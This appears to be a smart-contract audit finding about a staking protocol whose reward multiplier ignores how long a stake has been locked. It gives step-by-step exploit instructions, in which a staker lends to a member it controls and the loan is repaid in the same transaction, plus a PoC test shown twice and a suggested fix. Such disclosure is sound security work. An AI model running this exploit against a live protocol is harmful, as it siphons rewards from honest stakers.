A stake that has just been locked gets full reward multiplier
A staker gets rewarded with full multiplier even if its stake has just been locked. Multiplier calculation should take into account the duration of the lock.\\nA staker stakes an amount of tokens.\\nThe staker waits for some time\\nThe staker has control of another member (bribe, ...)\\nThe staker vouches this other member\\nThe member borrows\\nThe staker calls `Comptroller:withdrawRewards` and gets an amount of rewards with a multiplier corresponding to a locked stake\\nThe member repays the loan\\nNote that steps 4 to 7 can be made in one tx, so no interest is paid at step 7.\\nThe result is that the staker can always get the full multiplier for rewards, without ever putting any funds at risk, nor any interest being paid. This is done at the expense of other honest stakers, who get proprotionally less of the rewards dripped into the comptroller.\\nFor a coded PoC replace the test `"staker with locked balance gets more rewards"` in `staking.ts` with the following\\n```\\n        it("PoC: staker with locked balance gets more rewards even when just locked", async () => {\\n            const trustAmount = parseUnits("2000");\\n            const borrowAmount = parseUnits("1800");\\n            const [account, staker, borrower] = members;\\n\\n            const [accountStaked, borrowerStaked, stakerStaked] = await helpers.getStakedAmounts(\\n                account,\\n                staker,\\n                borrower\\n            );\\n\\n            expect(accountStaked).eq(borrowerStaked);\\n            expect(borrowerStaked).eq(stakerStaked);\\n\\n            await helpers.updateTrust(staker, borrower, trustAmount);\\n            \\n            await roll(10);\\n            await helpers.borrow(borrower, borrowAmount); // borrows just after withdrawing\\n            \\n            const [accountMultiplier, stakerMultiplier] = await helpers.getRewardsMultipliers(account, staker);\\n            console.log("accountMultiplier: ", accountMultiplier);\\n            console.log("StakerMultiplier: ", stakerMultiplier);\\n            expect(accountMultiplier).lt(stakerMultiplier);  // the multiplier is larger even if just locked\\n        });\\n```\\n
Issue A stake that has just been locked gets full reward multiplier\\nShould introduce the accounting of the duration of a lock into the rewards calculation, so that full multiplier is given only to a lock that is as old as the stake itself.
A staker can get larger rewards designed for locked stakes by locking and unlocking in the same tx.
```\\n        it("PoC: staker with locked balance gets more rewards even when just locked", async () => {\\n            const trustAmount = parseUnits("2000");\\n            const borrowAmount = parseUnits("1800");\\n            const [account, staker, borrower] = members;\\n\\n            const [accountStaked, borrowerStaked, stakerStaked] = await helpers.getStakedAmounts(\\n                account,\\n                staker,\\n                borrower\\n            );\\n\\n            expect(accountStaked).eq(borrowerStaked);\\n            expect(borrowerStaked).eq(stakerStaked);\\n\\n            await helpers.updateTrust(staker, borrower, trustAmount);\\n            \\n            await roll(10);\\n            await helpers.borrow(borrower, borrowAmount); // borrows just after withdrawing\\n            \\n            const [accountMultiplier, stakerMultiplier] = await helpers.getRewardsMultipliers(account, staker);\\n            console.log("accountMultiplier: ", accountMultiplier);\\n            console.log("StakerMultiplier: ", stakerMultiplier);\\n            expect(accountMultiplier).lt(stakerMultiplier);  // the multiplier is larger even if just locked\\n        });\\n```\\n